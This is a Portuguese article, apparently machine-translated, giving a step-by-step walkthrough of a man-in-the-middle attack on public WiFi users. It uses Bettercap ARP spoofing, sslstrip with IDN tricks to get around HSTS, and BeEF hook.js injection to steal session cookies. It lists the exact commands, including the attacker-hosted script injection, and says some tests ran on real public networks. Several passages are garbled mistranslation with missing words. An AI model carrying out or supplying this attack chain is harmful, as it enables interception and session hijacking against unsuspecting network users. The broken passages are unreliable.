
Este artigo é sobre como se tornar um cooler (ou Script Kiddie) - um atacante condicional que não tem conhecimento de programação e usa o software existente para lançar um ataque aos smartphones e tablets de seus colegas de classe.
Só brincando. Na verdade, tive a tarefa de compreender duas coisas:
- WiFi 2020 , HTTPS ( TLS 1.1+) HSTS
- ( ) “” .
E no spoiler há um spoiler:
- Sim, perigoso!
- Pode muito bem
Devo dizer desde já que, embora alguns de meus experimentos tenham ocorrido em redes públicas reais, só tive “acesso ilegal” aos navegadores de meus próprios dispositivos. Portanto, na verdade, não violei o Capítulo 28 do Código Penal da Federação Russa , e aconselho enfaticamente a não violá-lo. Este experimento e artigo são oferecidos para revisão apenas com o propósito de demonstrar a insegurança do uso de redes sem fio públicas.
Então, qual é o problema real para um hacker se é fácil interceptar o tráfego em redes sem fio abertas por qualquer sniffer? O problema é que em 2020, quase todos (99%) sites usam HTTPS e criptografam todas as trocas de dados entre o servidor e o navegador de uma "vítima" potencial com uma chave individual usando um protocolo TLS bastante recente... O TLS possibilita que os aplicativos cliente-servidor se comuniquem na rede de forma que não possam escutar os pacotes e fazer acesso não autorizado. Mais precisamente, você pode ouvir, mas não faz sentido, já que o tráfego criptografado sem uma chave é inútil para descriptografá-lo.
Além disso, todos os navegadores modernos implementam o mecanismo HSTS (HTTP Strict Transport Security), que ativa à força uma conexão segura via protocolo HTTPS e encerra uma conexão HTTP simples. Esta política de segurança permite que você estabeleça imediatamente uma conexão segura em vez de usar o protocolo HTTP. O motor usa um cabeçalho especialStrict-Transport-Security para forçar o navegador a usar HTTPS, mesmo ao seguir links que especificam HTTP explicitamente (http: //). O HSTS original não protege a primeira conexão do usuário com o site, o que deixa uma brecha para os hackers, e um invasor pode interceptar facilmente a primeira conexão se for via http. Portanto, para combater esse problema, a maioria dos navegadores modernos usa uma lista estática adicional de sites (lista de pré-carregamento HSTS) que requerem o uso do protocolo https.
Para interceptar de alguma forma as senhas inseridas ou roubar os cookies da vítima, você precisa de alguma forma entrar no navegador da vítima ou garantir que o protocolo de criptografia TLS não seja usado. Faremos as duas coisas ao mesmo tempo. Para fazer isso, usaremos o método de ataque man-in-the-middle .”(MitM). Farei uma reserva de que nosso ataque será de baixo grau, porque usaremos "construtores semiacabados" prontos da revista Hackney Sam praticamente sem nenhuma modificação. Os verdadeiros hackers estão mais bem armados e estamos apenas desempenhando o papel de kulkhatskers pouco qualificados para ilustrar o grau de insegurança das redes públicas sem fio modernas.
Ferro
Como um kit de ferramentas para o experimento, usei o seguinte kit de ferramentas:
- Qualquer rede WiFi pública na praça de alimentação
- Netbook Acer Aspire one D270
- Placa wi-fi integrada Atheros AR5B125
- Adaptador wi-fi externo usb wi-fi TP-LINK Archer T4U v3
- Adaptador USB wi-fi externo TP-LINK Archer T9UH v2
- Kali Linux com kernel versão 5.8.0-kali2-amd64
- Bettercap v2.28 quadro
- Estrutura BeEF 0,5
- Vários smartphones e tablets Android 9 e um laptop Windows 7 como dispositivos vítimas.
Por que existem tantas placas wi-fi? Sim, porque no processo de experimentos pisei em um monte de ancinhos e tentei economizar dinheiro. Descobriu-se que uma boa placa WiFi é a principal ferramenta de um atacante de sucesso. Há uma série de problemas: a placa deve suportar monitoramento e pontos de acesso (AP), deve ter drivers para sua versão do kernel Linux, a placa deve ter uma boa antena e a capacidade de controlar a intensidade do sinal. Se você não quiser um rake extra, pegue um adaptador caro do topo desta lista e não se esqueça de verificar a disponibilidade de um driver específico para sua revisão de hardware da placa.
A placa Atheros AR9485 embutida tinha excelente suporte para todos os modos e um driver out-of-the-box em Kali, mas a incapacidade de controlar a força do sinal e uma antena fraca negaram a eficácia desta placa durante a fase de interferência ativa.
O WiFi TP-LINK Archer T4U v3 não tinha um driver pronto para uso, e o que encontrei no Github não tinha suporte para o modo de ponto de acesso (AP) e precisava ser compilado sozinho.
A placa TP-LINK Archer T9UH v2 funcionou perfeitamente com o driver pronto para uso.
Programas
A primeira coisa que fiz foi instalar o Kali Linux 5.8.0 no meu laptop. O único SSD no laptop estava vazio e destinado inteiramente para experimentos, o que me poupou do trabalho de particionar e fazer backup de dados antigos dele, então usei todas as opções padrão durante a instalação. Ainda tive alguns problemas triviais, como perder a montagem do stick USB com o kit de distribuição durante a instalação e atualizar o sistema para a versão atual mais recente do repositório.

Em seguida foi necessário lançar as ferramentas de penetração, que serão Bettercap e BeEF. Com a ajuda deles, forçaremos os navegadores das “vítimas” a se recusarem a criptografar o tráfego e injetar Trojan JavaScript nos sites que visitam.
BettercapÉ uma ferramenta e estrutura completa, modular, portátil e facilmente extensível com todos os tipos de funcionalidade de diagnóstico e ofensiva que você pode precisar para realizar um ataque man-in-the-middle. Bettercap é escrito em Go, o desenvolvimento principal do projeto ocorreu até 2019, agora existem apenas pequenas correções. No entanto, como veremos mais adiante, essa ferramenta no mundo em rápida mudança da segurança da informação continua relevante no final de 2020. Bettercap vem com módulos arp spoof e sslstrip integrados. É o Bettercap que intercepta o tráfego e injeta uma carga maliciosa nele.
SSlstrip é um servidor proxy especializado que permite organizar uma das maneiras de contornar HTTPSpara interceptar o tráfego, é necessário dividir a sessão do usuário em duas seções. A primeira seção do cliente para o servidor proxy passará pelo protocolo HTTP , e a segunda seção, do proxy para o servidor, passará, como deveria, por uma conexão criptografada. SSLstrip permite que você divida a sessão da vítima em duas partes e intercepte o tráfego para análise posterior, além de fornecer redirecionamentos automáticos para páginas gêmeas HTTP criadas dinamicamente .
paródia de arpintercepta pacotes em uma rede local com ou sem fio comutada. arpspoof redireciona pacotes de um host de destino (ou todos os hosts) em uma rede destinada a outro host nessa rede falsificando as respostas ARP. Esta é uma forma muito eficaz de detectar o tráfego em um switch ou roteador wi-fi.
BeEF é uma estrutura que permite a você gerenciar centralmente um pool de clientes infectados por meio de um ataque XSS (cross-site scripting), emitir comandos para eles e obter um resultado. O “invasor” injeta o script hook.js no site vulnerável. O script hook.js do navegador da vítima sinaliza ao centro de controle no computador do invasor (BeEF) que o novo cliente está online. O “invasor” entra no painel de controle BeEF e controla remotamente os navegadores infectados.
Usei as versões Bettercap v2.28 e BeEF 0.5. Ambas já estão incluídas no Kali Linux 5.8.0
Abra uma janela de prompt de comando e digite o comando
sudo beef-xss

A primeira parte do nosso sanduíche malicioso - a estrutura BeEF - começa.
Agora vamos lançar o navegador (normalmente Firefox em Kali Linux), vá para o endereço http://127.0.0.1:3000/ui/pannel , o nome de usuário e senha padrão beef: beef, após o qual chegamos ao centro de controle do nosso ataque.

Deixe a guia BeEF aberta, voltaremos a ela mais tarde.
Vamos passar para a segunda parte do sanduíche - Bettercap. Teve uma armadilha aqui - a Bettercap, que já estava no sistema, recusou-se a iniciar como serviço e deu outros erros que não entendi. Portanto, decidi removê-lo e reinstalá-lo manualmente. Abra uma janela de prompt de comando e execute os comandos:
sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap
Em seguida, baixamos a versão binária do Bettercap v2.28 no arquivo para a pasta de download com o navegador . Observe que escolhi a versão para minha arquitetura de kernel.
Agora descompactamos e colocamos o arquivo executável no sistema Bettercap em uma pasta destinada à instalação manual.
d
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/
A maneira mais fácil de começar a usar o Bettercap é usar sua interface de usuário oficial da web . A interface da web funciona simultaneamente com o serviço de API restante e uma sessão de linha de comando interativa. Para instalar a interface da web, você precisa executar o comando:
sudo bettercap -eval "caplets.update; ui.update; q"
Atenção! Já nesta fase, é necessário conectar-se à rede wireless atacada, obter um endereço ip para a interface wireless da máquina atacante e memorizá-lo (o comando
ifconfig
ajudará a descobrir).
Bettercap entende tanto comandos de linha de comando individuais quanto caplets. Um caplet é simplesmente um arquivo de texto com uma lista de comandos que serão executados sequencialmente. O caplet http-ui é usado para iniciar a interface da web. Você pode visualizar e alterar as credenciais padrão nele ao longo do caminho /usr/local/share/bettercap/caplets/http-ui.cap. Bettercap é lançado com a interface da web api.rest e http.server 127.0.0.1 usando o comando
sudo bettercap -caplet http-ui

Agora você pode abrir outra aba no navegador com o endereço 127.0.0.1 (sem o número da porta!) E fazer o login usando as credenciais que foram espionadas ou configuradas na etapa anterior (geralmente usuário / senha ).

A interface da web Bettercap duplica completamente a linha de comando, então todas as ações que faremos a partir da linha de comando também podem ser feitas a partir da interface da web (iniciar módulos, alterar modos, visualizar a mudança de valor de variáveis, exibir informações de diagnóstico)
Continue na linha de comando e conduza o inicial reconhecimento da rede sem fio à qual já estamos conectados como cliente regular.
net.recon on
net.probe on
Net.show
net.recon off
net.recon on - Inicia a descoberta de hosts de rede.
net.probe on - Inicia uma investigação ativa para novos hosts na rede, enviando pacotes falsos para cada IP possível na sub-rede.
net.show - Dá o comando para exibir uma lista do cache de hosts detectados.
net.probe off - Desativa o módulo de sondagem ativo.
Configuramos as variáveis Bettercap para que:
- funcionou como um proxy transparente e “desabilitou” a criptografia da troca do navegador de “vítimas” pelo módulo sslstrip,
- injetou-os com uma carga maliciosa (http://192.168.0.103/hook.js - script BeEF, use o IP emitido pelo roteador para o seu adaptador na rede atacada),
- contornou o mecanismo HTST, substituindo o endereço na barra de endereço do navegador da vítima por caracteres internacionalizados semelhantes.
Comandos:
set http.proxy.sslstrip true
set http.proxy.injectjs http://192.168.0.103/hook.js
set http.proxy.sslstrip.useIDN true
Em seguida, lançamos um ataque contra usuários sem fio:
Comandos
arp.spoof on
http.proxy on

arp.spoof on - Inicia o envenenamento de cache ARP de dispositivos "vítimas", este módulo redireciona o tráfego para a interface sem fio do "atacante"
http.proxy on - Inicia um proxy transparente, este módulo cria um servidor proxy que irá capturar todo o tráfego encaminhado e modificá-lo para se adequar "Intruso".
As “vítimas” começam a usar a Internet, vão a sites e, se forem bem-sucedidos, os ataques serão privados de criptografia de transporte (o que significa que estarão disponíveis para escuta direta por qualquer sniffer) e receberão um script BeEF malicioso. O script BeEF, executado no contexto do domínio em cuja página foi incorporado, pode realizar muitas ações diferentes, por exemplo, roubar cookies ou roubar senhas inseridas.

Como convém a um sanduíche feito às pressas, o ataque não funcionará em todos os sites. Por exemplo, é extremamente improvável lançar um ataque com um dos sites do Google, uma vez que o navegador já tem uma lista de pré-carregamento de HSTS para alguns sites. Mas acabou sendo possível "sequestrar" o Rambler ou o Coub.com! Se pedirmos à "vítima" (engenharia social, onde podemos ir sem ela) para abrir o endereço Ro.ru , ou de repente ela mesma o faz, então acontece o seguinte:


Todo o tráfego da vítima para o site rambler.ru voa pelo ar em texto claro e pode ser ouvido por qualquer sniffer. Enquanto estiver no navegador "vítima", quase não haverá sinais de problemas, exceto por um triângulo imperceptível e outro caractere estranho no final da barra de endereço.

E na máquina do "atacante" no painel de controle do framework BeEF, na seção Navegadores Online, entretanto, aparecerá uma entrada sobre um novo navegador preso no gancho. Selecione este navegador com o mouse, vá para a sub-aba Comandos, para o diretório Navegadores, então sucessivamente Domínio conectado → Obter Cookie → Executar

Uma vez, e com alguns cliques do mouse, roubamos os cookies de sessão do site Rambler.ru da vítima. Agora podemos tentar inseri-los em nosso navegador e entrar na sessão da vítima. E isso é apenas o máximo! Mas no arsenal do BeEF ainda existem várias centenas de “comandos” diferentes que podemos enviar para o navegador “pego”: várias opções de phishing, roubo de senhas, ricrolls, redirecionamentos, explorações ...
conclusões
As conclusões do experimento são decepcionantes. Os navegadores ainda não conseguem proteger 100% os usuários de adulterar o tráfego ou substituir este site por phishing. O mecanismo HSTS funciona apenas para alguns milhares dos sites mais populares e deixa milhões de outros sem proteção confiável. Os navegadores não avisam explicitamente que a conexão com o servidor não está criptografada. A situação é ainda pior nas redes sem fio, onde quem deseja ter acesso ao meio de transmissão de dados, enquanto quase nenhum dos usuários verifica a autenticidade do próprio ponto de acesso, e métodos confiáveis de autenticação de pontos de acesso simplesmente não existem.

